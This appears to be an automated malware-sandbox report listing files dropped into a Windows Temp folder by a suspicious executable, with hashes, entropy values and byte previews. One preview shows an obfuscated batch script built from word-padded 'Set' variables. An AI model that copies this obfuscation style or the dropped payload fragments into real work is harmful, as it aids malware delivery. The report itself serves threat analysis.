Preview:	u.<=.P..W..?>.#.4.<....Xq.?...B..J=.._D...?m..K..F=......?...s7.E=.@..[-.?K>..d.:=...g..?Z}.=\uI=..s.~Q.?.g:"(.N=...'..?9.~.$O1=.....q.?.n.1..%=.p)k...?v.....=.`.X:..?.q.W.. =.Pi....?g...>.M=....[..?.a...M=..._.3.?.,.uXO=.`./..?...1w<=..>'eH.?`...J.J=..x.~..? ....&=..n.`Y.?.....C=.0.....?..].../=..# .g.?.u.P..=.......?...,l.C=..5..q.?.....=.@D...?...-[.@=.pt.4z.? ..pnJ=....l..?.i..Eg.<..y~.?.?.O..^'=.(T.t..?...x;.;=...P...?.R..R.F=...&...?X....N=..J..@.?..~....=.Ht=c..?Az...U"=...nB..?U_.l.j7=...]...?q....BD=.. .h<.?z.).t.'=..Z.#z.?...0.L=.@5....S.OO..F............D..0......=..n... .W9!..?..j.>..0.."..... .I...Q.n0...Hn&.E.....:..E7D...5....7.A.....%@..@.......Z+A...S..T..rJ...D..@........NT?...w3.k.r.1..9....]...F.K.m.8...C!`..1y2.Y...@.......(<j.......V..C..D..p...,.1....n........2.=l..7..0...I.O....x*....l@..2..>.FE...O.5i....4.Q!...?:....C....+..p.X....xO,.C...."..A...ri<...q~._..R. v.=...=.~......o6..@m.P... ...d+...>.

C:\Users\user\AppData\Local\Temp\Palestinian

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	6.487709437776097
Encrypted:	false
SSDEEP:	768:2Gwr9FTqvRYZLjNGj0toimJOt2A4MnWLGHzoif+eXNjRWRgRr0A:XUtq5YdzhtD4RLGki26nWRgRH
MD5:	0511A6F95B7289E49B8694A3E9A01F61
SHA1:	97C7FB18CC8975598CA185AB558BE1A3716C0B28
SHA-256:	E56FC1F69E1845A7CEE63BE4F646E06382716B87B264BBDA18A97ACE8CB980FD
SHA-512:	177EFF6A346CEFB8A4DE4B43791686EC823CBD58D19C727BA60E82F37A37B098DF1CF1C64D5D71DA02D8EA5EEF329B35AD2D211E5242FD4DEAA86E53DB9E79E8
Malicious:	false
Preview:	_^3.[..]...V..~..u h..K.....I.....t.h..K.P....I..F.3.9F.^....U.....M.SVW......u..u...\|.I..}.j.^.'.9u.s..u..M..W....E..M.V+.P.E.P.....d.K..M....E....M..........t.V.M..T....(.L..x4.t........p.K..M.................K..M.................K..M.................K..M.................K..M.......uo...K..M.......u^. .K..M.......uB.D.K..M.......u1.P.K..M..x.....u..h.K..M..g.....u.3..7.E........*.E..........E..........E..........E..........M....._^..[..]...U...(...SV...E.....3.E.PQQQ.E...P.......].PQV....I.=..................E.M.QPj.......PV....I..........M........u.......I.........3.M.].].............t.S.].M.SPV........PV....I..]..uG9E.t..u.....I.3..E......E.PQQQ.E.P......PQV....I.=.....E...K.....^[..].}..t..u.....I.2...U..M.SVW.....M......M.....3..L,I..}..r[W.M.....j\^f90uJj..M.....f90u;j.W.M......S.M..B.......u..u..M..E.VWP......F.PW.M.........M..7...S.M..RB.......u..u..M..E.VWP.....E..M.+.HP.F.P.E.P.....M.S.R....M......_^[]...U....S.].VW....h..I..7...U..z..v..J....

C:\Users\user\AppData\Local\Temp\Parents

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.91643423291841
Encrypted:	false
SSDEEP:	384:CLfTN319stEjFKr+/hdvE6HDyOpbM136KeBzC6GFe46JRoGWbHkdzfkfiC2:eTN3Efr8qcDP8WBosd0bHazf0+
MD5:	FA80F56CFF6EF734F277E80AD4D96892
SHA1:	B5662A5B0C87E322AB580884BFEC59FD8EED0C45
SHA-256:	5A8A6897A39FC8EAC46C8AAD92216ED660CF924A4B23CD6EB546F1586DB622E1
SHA-512:	C6332303EA8174489D2A2DED6171EEEF8234927E878050153C31C1ED63BF7497C827FC84EE21A2AE73BABF236C860D2F17F6153085A3333B9BD5EAE9C8BCFA8A
Malicious:	false
Preview:	............e.n.d.s.t.r.u.c.t...........b.y.t.e.....................u.b.y.t.e...................b.o.o.l.e.a.n...............c.h.a.r.....................w.c.h.a.r............... ...s.h.o.r.t...................u.s.h.o.r.t.................d.w.o.r.d...................w.o.r.d.....................l.o.n.g.....................u.l.o.n.g...................i.n.t.......................b.o.o.l.....................u.i.n.t.....................i.n.t.6.4...................u.i.n.t.6.4.................p.t.r...................@...h.w.n.d.................@...h.a.n.d.l.e.............@...f.l.o.a.t...................d.o.u.b.l.e.................i.n.t._.p.t.r...............u.i.n.t._.p.t.r.............l.o.n.g._.p.t.r.............u.l.o.n.g._.p.t.r...........d.w.o.r.d._.p.t.r...........l.r.e.s.u.l.t...............l.p.a.r.a.m.................w.p.a.r.a.m.....................................................................................................................................................H...............

C:\Users\user\AppData\Local\Temp\Pose

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	6.520901473786754
Encrypted:	false
SSDEEP:	768:qevkuKa5GCJ5YxtXazSTvHZ9ijrUTSu7YeI:jvpKa5Gk6/vij4NI
MD5:	F630CE50A0EE2C5B6B0B8F30EDF5D4D0
SHA1:	BD36C9BA492F315F2B1BB70749E97E3362AA59E5
SHA-256:	AF06FF34F6BBF6A7549BAADE6E109EA4174F51EC8C41DF3240AEA50A8C59BBDC
SHA-512:	DA23DB331DC9677BCBB372324F63DA017CD7583DAFB9AF66DD280202978DD069BAE36CDE452BDAB02F846498EB7068CF74D7C507D8A4A39C4FF9D3F18544A4BA
Malicious:	false
Preview:	.wL..m........a..3..`...E...a........P...PSV.....ua..WV.....ia..Q......P...PWV......Qa........P...PSV.!...:a.......PW...PV.....$a........P...PV.N.....a.......P...PSV.T.....`..WSV.u.Q......`..WSV.Z.....`..QQSV.>....`........t I...`..Q.....S.P...PQV.....`.......S.P...PV.....`..j......S.P...PV......t`....d.I.WSh....V..rL.....I..V`..SV......J`..WSV.u.Q.....9`..WSV.u.Q.{....(`..WSV.u.Q.;.....`..S.[..R..Y..u.M..ga..h......Q..Y.x..x..8.F....b..8.......nc..SV....I..ac...E.+E.f.......He...E.+E.f........d...E..........c...U..c...E.........~c...}..vc..j...X.I.+..}..qc...E...+E..+...+.f.......M...d....+E..E...E...}.+E..E.f........c...E...+E..+...+.f.......M...c....+E..E...E...}..U.+E...f........c..f........c..f..t.f+.....f+}.f.}.f.}.f........c..+}.f+.....f.}.f.}.f.......c..f.......c..f..t.f+.....f+u.f..f.u.f.......c..f+.....f+u.f..f.u.f.......jc.....u!.}..t..A`.E..AX.}...."d...Ad.E....E....t..AX.E.......d...A\..c...w...H.I..g...&d..HH...d..WV..wL..p....qd...~8.t..v8....I..f8..~

C:\Users\user\AppData\Local\Temp\Privacy

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.431609536479688
Encrypted:	false
SSDEEP:	96:G7w7by0Sx0azZt76j6AhaseyHWKVPKO0dDmQypkGSSYpXd+CuMj6:Gw7by90az37nAjeytFGSk9vpN+CVj6
MD5:	126DDDDC42F610B4224CE6F472F22C25
SHA1:	2C296D5446356F03E94F9580F13C780C030DA772
SHA-256:	9347F3F9304095B0CEE98C8B68C7D6B1F0784A642E480E9F0CFB8FFC12272149
SHA-512:	8194F83237F586265769B921A4D45BD87E296A80A43EADD6428E229EFD52B5F28762BA1BA54A9495C93B34A172DBBFE1AF57FD3396C9CA5399E8B170466BB8B2
Malicious:	false
Preview:	..h../.../--.2....zz...o.X..'o0...l..2........../....d.L....wg.....D.]DF.M8wBK...]i...WO.dln.U.V..;...0.:2...g~U....5....z..T.$"_...0........!..........z.\|...Gv...K7..7..R*...4...7.D"....?Dd..I......{..L......"...\|..\|&...\|.P.;..n..nc......d2Y. .#......H$.i.......q7....h.......:K.=...;....<wt....;...T.O...8"...<..".S....n....:/.1...3,..<K.hk...H'O..k.......'..kK.@...".+......V7.vq...M1...Y.6Bg..G.vqb_7.P...I.....!.H8...7.\..T.?.....>.b.L./.7/_..t..w$......(.91.@g.m..6.....O..._.....fw..o...Z...,......~m..../U.. R..>.......N4Lq...W...$..K...+,..].m..m......Rf.H.Zy.H?.x+/..d\|....[.=..'.uspg.q...BU..a..i........\|>hY.q..-.y.h.M.R...\......E,.c.f.i..z.\|.....Q.u...KU....g..+.X...E..4b.Xq~~.e.4.HD".17..6.~.]=...=.0o.X`6....A...B:.....vw.j(....t..Y..r2.t-..z$~ii..0...~...(oH.6...f..va.7o.^.x...h.......n...]...B/....I&....e#<.\.g.?.....t5.u}..Je..Z.....S.x..F..g.....^F......f...."......OS..@6...S.o.Hw#....UN^....Yr+...4....Z8.+..]t5h...N...\|&.H4....qii

C:\Users\user\AppData\Local\Temp\Restriction

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	173056
Entropy (8bit):	7.999027920177228
Encrypted:	true
SSDEEP:	3072:PhtSNtfussrOOtsSvFKHnDMN4Whu4qbjj78D5/1ZOybvEfpcKIok:PhwNtfuvrOOtXSDMN4Gu4a78DMyHRR
MD5:	E394FDAE1CA91C8F2103216BDFDAD76D
SHA1:	CDC935FFE768BAC6BC4F4EE783DB706BBB056310
SHA-256:	DB3F77ECAE8D01BAC5E5183F19E9FD132BE72189F8CAF087BDDD8F865E75007A
SHA-512:	57D5B8D769451CA2835F909A8C93A6E454AA0E5A3EE6E0866EFCAAA0C161D689EE44AF0372B0C81ECF351C4B4A5EB2080D9BD9FA98D63B62C676C82B594E6860
Malicious:	false
Preview:	G.....Pf._....IG.-..M"...c-..g...9Y../v........L.L...p....#\|.S...[K.?6.^.^9.1Uo.I.0.....RLr.R.X.(.Y...N...6.....3.#.<!.....].Y...C../....P..G...U.q..h......T..9F.Jk..>..V/..T.g20.b.X....W.o..\|.7K....r."....QP+_...Q..6....J.H.W..I.YH...o......C...'.8.}......u9vpI.x....z.No...(.MC.0..5l>...uR.eV...E3\k.V....1OF.yaB....{...&.:....R;N(.J.j-. =..BC...3..fZ24....4.s_>...6.YNf....?..8.:b...].iR...E.0n...>..~......K..8.i..............D..e...uw...y....sH..PLos7.e...C...P.<<....!....ql.C..k;...o........6..i.VM...L..\.\|.'..wf$..g..._.5.<.H.._.."U....d. ....N...!1.&7?5d.(_]s.m.veI..d.rv.Z.N...N..#aj.M...a.a2.9(.q._.\..].G.K!..p.Io...F..s...y.&.1x.C.S.mgi.h@.R.....v....\..l..[......Q-..G3....m"....7.........\|..!m.{..(......9.....$3v...:....yV...6.s'EA..x......xGCI.\|.(...Wx....wJ.}..n.3g.....W^...0...k...?.....J.U..I!D...y.Z5tc..)~....pk'Q.`<VC.........X.l..W..^.}.$?:...>~.#..,...2b.\.\|C...2m...w?8.u.....\5.....g..!..o......+.]..9e(......./?...

C:\Users\user\AppData\Local\Temp\Screw

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.998105942614346
Encrypted:	true
SSDEEP:	3072:G8o6VD5NLr6cDwvn6xRqUDVvvLFGCup2ZEe4zMrBVW1Z/4W:ZoU5NicDwk17w2F+MrBVW1Z/
MD5:	4C207EC57889C9FBEAC5C0179D46C5FF
SHA1:	D0D6B5EA5AA524F27F69278BCFCB298A9F629BBB
SHA-256:	819748D605F0E5C5DAA9767AFCD7A1D207E722845F10AB5D521098EC5A1C16ED
SHA-512:	5062ABFD0A2D879F93A674F05FF84A18FD8B575E7A83FE3C40FFDFB450D70F49ED49E6EC3428D1F94F872F6B2118A7503E18280C64E7C17F5DD1AF34C343A63D
Malicious:	false
Preview:	.l.!...%.w..2....8N...R.$.6i..P.Ia.#.p..!....{..1kOu.J.y&E..L..P'....0.D.....pi-;U.....,....b.........>....EZ?..h...]....X..Ux..!.6p.u....7..y..MqA.K).=..K.......sU.E..#W..<...}..y38......,...p.N......g]..D..\|.g....7....".[G4db....-0....:...f.Vaa.%.'........E.d9..Id..b....x.....5.y....~.[Dri.S...E.).?h..f...+/...T..>...r....{tw+J.E.Q.2..K..w.p.j}._..5..x.!....~8N...J.-...k.1.Z.....$b....=..C.y......8I2..+0.,%V.)..x.B).S..b..~...F.z?..s=.k_.....P.IMAg...U..^^-...#lE...]..qw.......?{F..O%......K....5.Q%.hJ%C.-.u`...[....?...I...MD.*.(...U.LC.L.....o.Q.8.../.....I.....{.....;....s."....9..5..b..R}....b...^.#,..l/A..TLc.-.I. \|...L..(RA1.Y.......\|...x.$......Q.-..p.~.pOx8&.A.S.....d..l.4g2p.5o...u.hI.VX......}../.t.7.....G{.i....:0...f...TqJ3.....f..8.6...........B...s.d...I.G.B.~..N:d..>.. ....q...7C;K.!.qe.z1...pL.2'...)...ZD....%...@....aL!.9.m..............qX.:...D.^.J.,q!..p.M.^..-. .....:......2..%...zo..T..M........NG.,...3.5."_...

C:\Users\user\AppData\Local\Temp\Seeds

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	4.73242588916427
Encrypted:	false
SSDEEP:	384:rHwwuBcEZbvlF2c/mwftIQXoSpu88888888888888888888888888888zv88888b:kwuNbCc/mexy
MD5:	FE3A797ACBABEFD2ED0244D027615D2D
SHA1:	C9BB626F9EAF5BE917DF9E48DC17E2FBEBE2980C
SHA-256:	79EAE5E45C5942DE4853145477F43DF6CD36B865BE1716216DB41C9396934989
SHA-512:	C6DB3F7A3DA15B15A1A1382CA4058666629769C58965B7A8E6420A270E8799309D8EF78A6BFF4FE4D880AEB20B0117AF2084A90292DEBBD580D253F78FCC6DB8
Malicious:	false
Preview:	....V...............................................................#...............................F.......B.......).......).......................u.......u.......;.......;.....................*...........(...................,.......,.......i.......g.......g.......m...............P.......P.......P.......w.......w.......w.......s.......s.......A.......A.......A.......G.......G.......a.......`.......................................W.......W.......W.......t.......t.......o.......o.......o.......o.......o.......M.......M.......R.......R.......Q.......Q.......x.......x.......x.......X...............].......].......].......].......].......].......T.......T.......T.......T.......T.......d.......d......._......._......._......._......._.......n.......n.......n.......c.......c.......c.......c.......c......./.......k.......k.......k.......k.......l.......l.......l.......l.......j.......j.......j.......j.......{.......{.......{.......{.......{.......{.......z.......z.......z.......z.......z...

C:\Users\user\AppData\Local\Temp\Sexo

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	6.670130028111029
Encrypted:	false
SSDEEP:	1536:JyZpQ4VMEPmfP/b/psgrO4aK9iwcznrQfy0c4cDTOelOFCOBSljvj5Piur:6Q6ClAMfA4lelIJBSLPJ
MD5:	F9ADFA382B306ED67E00C640548FDA5E
SHA1:	6DCDCA313F1E07A24E6FF777287293859A3C19CF
SHA-256:	F792A5027114336B1C4AB82AC96D5375E3E93F47974DFAA4F2A3543DFF4EF1BD
SHA-512:	113E37D0001E1E009354698FFB8BC0B02CD79C73EDDD7CCEB33A8FB00BECE84A7A41AAAEA6BE9DA91DB0EC9EBC71594DBAC0FB6C2CCEE57CEA647007AF54DA3C
Malicious:	false
Preview:	.U..Bt...Ot.3.........U....~.....3...........E............3..M.......S.3.......U....U.M.E..=..H...........H+.......U.....gJ.....gJ..E..M..u..E......M...3....}...u.u..].t9.E.%....=....u'.u..........%.........u..........E.].E...H.......}...}.tI...vD..............KK......%....y.H..@.U......M.hJ..M...$?J...E..E.........w..F@..<8.E..}..}...}..E.....................E.;F\|...6.........E...%.....M.=.....E.u'....e.....%.....e...E.......E.E.....E..u.;u.u....o...M.;M.M....o...E.9}.~..C....E.\|;;F\|...5.....9M.M.M...mo...u.;u.u...^o...E....E.9}.~.E.;}....k.......;...}....U.......;}.}i.E.....;F\|..........M...%....=....u!..A.......%......................E.9U.t.9U.t...AG...M.;}.\|..E..U..M.....j..;....i...}..E...@..P.u.V.u..u...g.........hi..f.G..........}.f#......f;.u.....}.;}.w..i.........t.;.....v..Fh.............S....n...;}.}H;F\|s....9U.t89U.t3...G.E.;}.\|..%.......t.;.....v..Fh..................U..... j..;....h...}..E...@..P.u.V.u..u...g..........h......}.;}.u...h...}...}

C:\Users\user\AppData\Local\Temp\Success

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	6.382094684013103
Encrypted:	false
SSDEEP:	192:Iqk80rqISieg1KIeQ+URBtnAZoGRTv6mHp:4rHr1beQ+IBtnAewp
MD5:	E96912F328FFF8D58EDA28EC99CF7049
SHA1:	B267AA41FC6DBBA924292A116F467A9E05BC02A8
SHA-256:	45E3D5A2459E7B19A92D53402C2C285806BD02C6C904E1491E373CCDAED9E32C
SHA-512:	4EC3F9D969BB8A394306FFD3D7B9E1F5A85E2E09DA2CC5C0DBDEC1C2BAC306AC2F474E57A3AA135DB4D471885A5A74423740702A32B7E5FB80408651CC3EB509
Malicious:	false
Preview:	$..t$.....YG.D$..YC..z~..........M..Y....O.3.Q..FVS.\$......d$4..D$,j.VPS.\|$<.t$H.<.......L$ . ...;.\|e.\$HS.L$<.i..P.L$$...Vj..D$(P.t$..........L$ .....L$8..k..F...;.~....T$4...H........H...j.j..,....L$..k.._^3.[..]...U.......Fj..SVWj.......I....E..@..8.......O....E..A..E.A..E..A..M..E......h....3.......PWWWWW.u.....I..M...t.......P.......h..I.......Wj..H.........M...j..V....I._^3.[..]...U.......i..SVWj.......I....E..@..8...<....O....E..A..E.A..E..A..M..E........3.......WWWWWh....P.u.....I..M...t.......P.J.....h..I..>.....Wj..H........M..Ej..V....I._^3.[..]...U........h..SVWj.......I....E..@..8......O....E.A..E..A..E.A..M.E....J...3..E.WWWWPh..........P.u.....I...t(.u.......h(.K.P....M..........P.}......M.h..I..n.....Wj..H.........M..ui..V....I._^3.[..]...U...$SVWj..M.....I..]...h..I.... ....}.3.@.E.9G.v..G..H.....E....\|....~.3.@.E..G..8......O.hL.K....E.A..E..A..E.A..M.E....]f...}..O....W.....t&h..K..M...e...G..8...4....w..M...c...!.M.......E.P.M..c..

C:\Users\user\AppData\Local\Temp\Surgeons

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	ASCII text, with very long lines (1660), with CRLF line terminators
Category:	dropped
Size (bytes):	30161
Entropy (8bit):	5.039653634843272
Encrypted:	false
SSDEEP:	768:giaDx5AAOvXWhmOAr60/0nQzvfrkpFBzvSdDjJDLqLfyz3juJ:giaqemDJ0n8pDlDLyVJ
MD5:	FB2A985578B86B57CEBC716791812DB1
SHA1:	A5BE9AB55482062644BCF6912C6D0835807EFAB2
SHA-256:	7711D13B3785BF007531FC9B3BF6725312FB56B412108A85FF0E53EF5BCCB970
SHA-512:	04622ACEB9763B17698A6FFBBDD4179B20F8010AD0E08F9715C6BAB045438C103B0B932CC75F4F4A4DCE38C3B1F4C86F206BCDF99327F6677F6BC15FF34F90A5
Malicious:	false
Preview:	Set Argue=B..oqQLBlue Electrical Brian ..DqGYBroken Graham Michael Paul Louisville Votes Spin Virgin Caps ..WJsEssex Buddy Reads ..wOTelevisions Kenya Bloomberg Scholar Annie Hottest Latin ..xSQFathers From Hack ..sBBiTcp Disco ..DNYPSteady Weekend Nv Constructed Currencies Dans Tile ..Set Interact=d..BsCPrimarily Calibration Generous Access Voted Toolbar Device ..AAGAccepts Dam Examined Coverage Drive ..KLCConstruct Blogging Breast Cas Landscapes Handy Jack Alternate ..QHiDConducting Retailer Aberdeen Thanksgiving Hs Instance ..yDNPoint Cemetery Passport ..rHContained Ships Tv Dryer Texture Sluts Having Statements ..nAQQPhase Photoshop Aircraft Lit Introduces Sheer Edward Bedding ..tBaSmithsonian Disco Solely Sister Transparency Coast Situations Upload Returns ..VTpmMall Worked Nelson Reprints Understood Forward ..mGNirvana Solving Margaret British Gps Sprint Representations ..Set Luis=Z..EtIPayments Zimbabwe Trinidad Thumb Unit Breeding ..fdKHudson Kinase Santa Homework Maximum ..Olu

C:\Users\user\AppData\Local\Temp\Surgeons.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1660), with CRLF line terminators
Category:	dropped
Size (bytes):	30161
Entropy (8bit):	5.039653634843272
Encrypted:	false
SSDEEP:	768:giaDx5AAOvXWhmOAr60/0nQzvfrkpFBzvSdDjJDLqLfyz3juJ:giaqemDJ0n8pDlDLyVJ
MD5:	FB2A985578B86B57CEBC716791812DB1
SHA1:	A5BE9AB55482062644BCF6912C6D0835807EFAB2
SHA-256:	7711D13B3785BF007531FC9B3BF6725312FB56B412108A85FF0E53EF5BCCB970
SHA-512:	04622ACEB9763B17698A6FFBBDD4179B20F8010AD0E08F9715C6BAB045438C103B0B932CC75F4F4A4DCE38C3B1F4C86F206BCDF99327F6677F6BC15FF34F90A5
Malicious:	false
Preview:	Set Argue=B..oqQLBlue Electrical Brian ..DqGYBroken Graham Michael Paul Louisville Votes Spin Virgin Caps ..WJsEssex Buddy Reads ..wOTelevisions Kenya Bloomberg Scholar Annie Hottest Latin ..xSQFathers From Hack ..sBBiTcp Disco ..DNYPSteady Weekend Nv Constructed Currencies Dans Tile ..Set Interact=d..BsCPrimarily Calibration Generous Access Voted Toolbar Device ..AAGAccepts Dam Examined Coverage Drive ..KLCConstruct Blogging Breast Cas Landscapes Handy Jack Alternate ..QHiDConducting Retailer Aberdeen Thanksgiving Hs Instance ..yDNPoint Cemetery Passport ..rHContained Ships Tv Dryer Texture Sluts Having Statements ..nAQQPhase Photoshop Aircraft Lit Introduces Sheer Edward Bedding ..tBaSmithsonian Disco Solely Sister Transparency Coast Situations Upload Returns ..VTpmMall Worked Nelson Reprints Understood Forward ..mGNirvana Solving Margaret British Gps Sprint Representations ..Set Luis=Z..EtIPayments Zimbabwe Trinidad Thumb Unit Breeding ..fdKHudson Kinase Santa Homework Maximum ..Olu

C:\Users\user\AppData\Local\Temp\Tagged

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	6.537933632294137
Encrypted:	false
SSDEEP:	384:0UYk1dx59ib+Pk8cdPptVWtiHUZiSkd28M1AD+FrhnTUR5ApVdbhY9TngaVS/o7P:4k1dxvhc8cdPpLWtrJADK1c+d9Y9Tnzj
MD5:	73F054A2261B87A73BD58B21EEADEE7E
SHA1:	7DABC6A6BD05A2CF9468288457F9A9351C6C2A7A
SHA-256:	55B72B50292E9DF2B1CAB6793AA675EF01173421E3FD54EE287C30147F5030B1
SHA-512:	2FCB3693FC20AE8986EA6323025C13329CFEB6F99C0E771E1F3CFE4DBFEC3D65C3436AC6D01A65FC610576E63F4C58CE329F2C6BF0A1B14FAA8CBA89019CF952
Malicious:	false
Preview:	P.H....Y{....U.........}........I3........J...f9p..u.u...........Ht#Ht.H......Hu.K..u...I.E...M.M...u.8].u..A.3..E...E.....f9H.u..8.u...j..U.Y...E...P.E.PR.............U..M..E.@....f.x..u.....0......E...E.."...C......E.@......@.Pjr.<.}..t&.E...t..E.P..\....D....}...E.u..E.....E.j.......h............M..E....M..=..._^[..]...U.......S3.VW...E.3.E.A.E.E...L..}.M..u!....L.h..I....L....h..C..y..Y.u..]....C.A.....3.f9B.u7.....t"HHt.Ht...B.Pj......j.Z.A.....3.B....B...Pjn.b....U..=..L...U.u.j.Z....u.B.U..K...j3_.E........f9x..}...i.....R.E......M.Q..P.E........4...j.j...D...P.......w........D....M.P.c..j..M..^.....C.....M..0..a...E..x.L.P.E.P.e....E...u4j..u..E.h.L.P.....E..x.L.P.E.P.9....E.....\|....E...u.h....P.u......M..e.......C.jN...Yf9H.u3.E..P..D...P.E.PVS..............M...u..M..E.P.....M....C....f.x.A.......B..S........z..}..}..t.VS.........jNYf9J.uq.M..y..t H...E.P..D...PQVS..._............u....6S..............M..~.3...D....}.j...D.....P.u.VS.=.....

C:\Users\user\AppData\Local\Temp\Vitamin

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.508641630500009
Encrypted:	false
SSDEEP:	768:SqEJNdGYjd8nT+S6kiT3T/QqoWBY5WK9ivg0XWYETGVrPhISqAbwGpKZrLlmPEpc:SqqdGYynTDYL7Q+mr9R2VgjGpS2E2
MD5:	CC76A8A37725B387C366314CB13A0BB0
SHA1:	2E2E3DF2C56077DBCDE949D33C222B3261A00678
SHA-256:	0EFC2C99DA5DD20A2D4CF5244AA1F936982DD20600822B8AD22E7462F8F22BD9
SHA-512:	C2EEA8A859C07DBCC2F81E3571FEB6B7B03E7DA9D74EE69C90A22A88268A1AB867C9FFB2C5C799C8C8F979E7D9F4C3673700248024ADEAE3148631A5537C8C89
Malicious:	false
Preview:	..}...L$4.lL....D$.P.D$dWP.mh......D$`.L$4P..I..P.L$...w..j.S.D$.PV.Ls......L$..0}...L$4..L....D$0P.D$dWP..h......D$`.L$4P.{I..P.L$..v..j.S.D$.PV..r......L$...\|...L$4..K...!.M.h..I..~...T$\j.j....H......._^3.[..]...U.......S.].VW.M..{..u..L,I....C..p.....{...F..8.C..0....{...F.......W...&x..Y<.u..M.......P. ~...8hL,I.W..e..YY.M...u.h..K...h..I...}...U.j.j....H......_^3.[..]...U.........SV3.W....$.....L$..\|$...$......$......@...L$(..@...]..{..u..C..H...~....t..D$....3.L$..C..0....{...N..@.K...:........................C..0....z...v..L$..6J...L,I..L$.V......u2......P.L$...J..V.L$..lF...C..0...z...v..L$..4E...C..p....~z...v..L$,..I...L$(..}....t/.D$,.L$(HP.(C..f.8\t..u.....z..3..F.............C..p....)z...V..L$.3.S.t$...i..YY.........@j.........$.....v....t@j.........$.....iv....t(3.SP...H....A...u....Iz...F............L$H.y>...L$h.p>...L$X.g>...L$8.^>...C..p....y...N..D$8P.D$.P.D$`P.T$t.H-......L$.3.P.)B..3.f9.u-Q.L$<..B..3.f9.u.h.K..L$...D..hL.K..L$<..D...D$hP.L$,.zH...D

C:\Users\user\AppData\Local\Temp\Wallpapers

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	PDP-11 overlaid pure executable
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	6.4803376957108165
Encrypted:	false
SSDEEP:	1536:w6CV21YEsmnq7Cv/+/Coc5m+4Xf8O468j:RCV26MqgQTc5F4464
MD5:	182725BEF221C25182AC7BFC696D4988
SHA1:	A33E850035CF57F7695A1208A8537828AFAFDD9A
SHA-256:	8B0E03B1C91969FE83557C67FE53642342DB330F54C4013B7F85887727216B95
SHA-512:	74CFB27D0845312FCE64ACDCFB9061F29E522302985C2210F407ED49CB74569D7ECA3BD48803F12594EA2F5437A92DB4446E3E48398E029D609EDE949CF39D03
Malicious:	false
Preview:	............!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.........................................................................................................................................................................................................................................................................................................DaL.....h..C..\...Y...L..h..C..K..

C:\Users\user\AppData\Local\Temp\Yours

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	6.383436126011295
Encrypted:	false
SSDEEP:	768:NM4INduPbOUGM4INduPbOU+aI4kSmEusWjcd+DvFh:NMBNfMBNB+usWjcdGh
MD5:	9FA394C105316800F804210742E01305
SHA1:	190F535AC7E60C05E5DD62F5938FC818A1D761FC
SHA-256:	AEFB22763D813EE35E899D012F434EDEBB3BC91601443E5912BA96F91C07B803
SHA-512:	309E41BE9F66CA9C15FE46A80FE389E9D2F866CD4DB0DAB386D7E36D7F462FA06C978A62B25CF5D473F031D892820D6C4C788527E43E1EBF20C7CEDE59B6BA96
Malicious:	false
